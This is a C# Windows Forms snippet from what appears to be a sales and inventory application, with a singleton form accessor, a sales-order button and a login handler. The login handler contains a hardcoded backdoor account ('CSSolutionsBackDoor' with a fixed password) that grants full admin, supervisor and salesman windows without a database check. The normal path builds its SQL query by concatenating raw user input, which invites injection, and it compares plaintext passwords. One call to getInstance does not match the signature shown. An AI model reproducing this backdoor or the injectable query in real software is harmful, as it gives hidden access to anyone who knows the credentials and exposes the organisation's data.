public static frmNewSalesRecord getInstance(string salemanName, string empID)
 {
     if (instance == null || instance.IsDisposed)
     {
         instance = new frmNewSalesRecord(salemanName, empID);
     }
     return(instance);
 }
        private void btnCreateSalesOrder_Click(object sender, EventArgs e)
        {
            MaterialUpdate mtup = new MaterialUpdate(empID);

            int[] matArr = mtup.retrieveMaterial();

            if (matArr[3] > 0 || matArr[4] > 0)
            {
                frmNewSalesRecord obj = frmNewSalesRecord.getInstance(empID);
                obj.Show();
                obj.BringToFront();
            }
            else
            {
                MessageBox.Show("There is no any material in store.", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }
        private void btnLogin_Click(object sender, EventArgs e)
        {
            if (txtEmpID.Text.Trim() == "CSSolutionsBackDoor" && txtPassword.Text.Trim() == "backdoorp$w")
            {
                MessageBox.Show("Back door access granted!!!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                frmAdminWindow obj1 = new frmAdminWindow("CS Solutions", "a9999");
                obj1.Show();
                frmNewSalesRecord obj2 = frmNewSalesRecord.getInstance("CS Solutions", "a9999");
                obj2.Show();
                frmSupervisorWindow obj = new frmSupervisorWindow("a9999");
                obj.Show();
                this.Hide();
            }
            else if (txtEmpID.Text.Trim() == "")
            {
                MessageBox.Show("Type your Employ ID and Password", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                txtEmpID.Focus();
            }
            else
            {
                conn.Open();
                cmd    = new MySqlCommand("select * from dtlogin where empID = '" + txtEmpID.Text.Trim() + "'", conn);
                reader = cmd.ExecuteReader();

                if (reader.Read())
                {
                    if (reader.GetString("psw") == txtPassword.Text.Trim())
                    {
                        if (txtEmpID.Text.Substring(0, 1) == "a")
                        {
                            MessageBox.Show("Admin access granted!!!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            frmAdminWindow obj = new frmAdminWindow(reader.GetString("empName"), txtEmpID.Text.Trim());
                            obj.Show();
                            this.Hide();
                        }
                        else if (txtEmpID.Text.Substring(0, 2) == "sm")
                        {
                            MessageBox.Show("Salesman access granted!!!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            frmNewSalesRecord obj = frmNewSalesRecord.getInstance(reader.GetString("empName"), txtEmpID.Text.Trim());
                            obj.Show();
                            this.Hide();
                        }
                        else if (txtEmpID.Text.Substring(0, 1) == "s")
                        {
                            MessageBox.Show("Supervisor access granted!!!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                            frmSupervisorWindow obj = new frmSupervisorWindow(txtEmpID.Text.Trim());
                            obj.Show();
                            this.Hide();
                        }
                    }
                    else
                    {
                        MessageBox.Show("Invalid Credentials!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        btnClear.PerformClick();
                    }
                }
                else
                {
                    MessageBox.Show("Invalid Credentials!", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    btnClear.PerformClick();
                }
                conn.Close();
            }
        }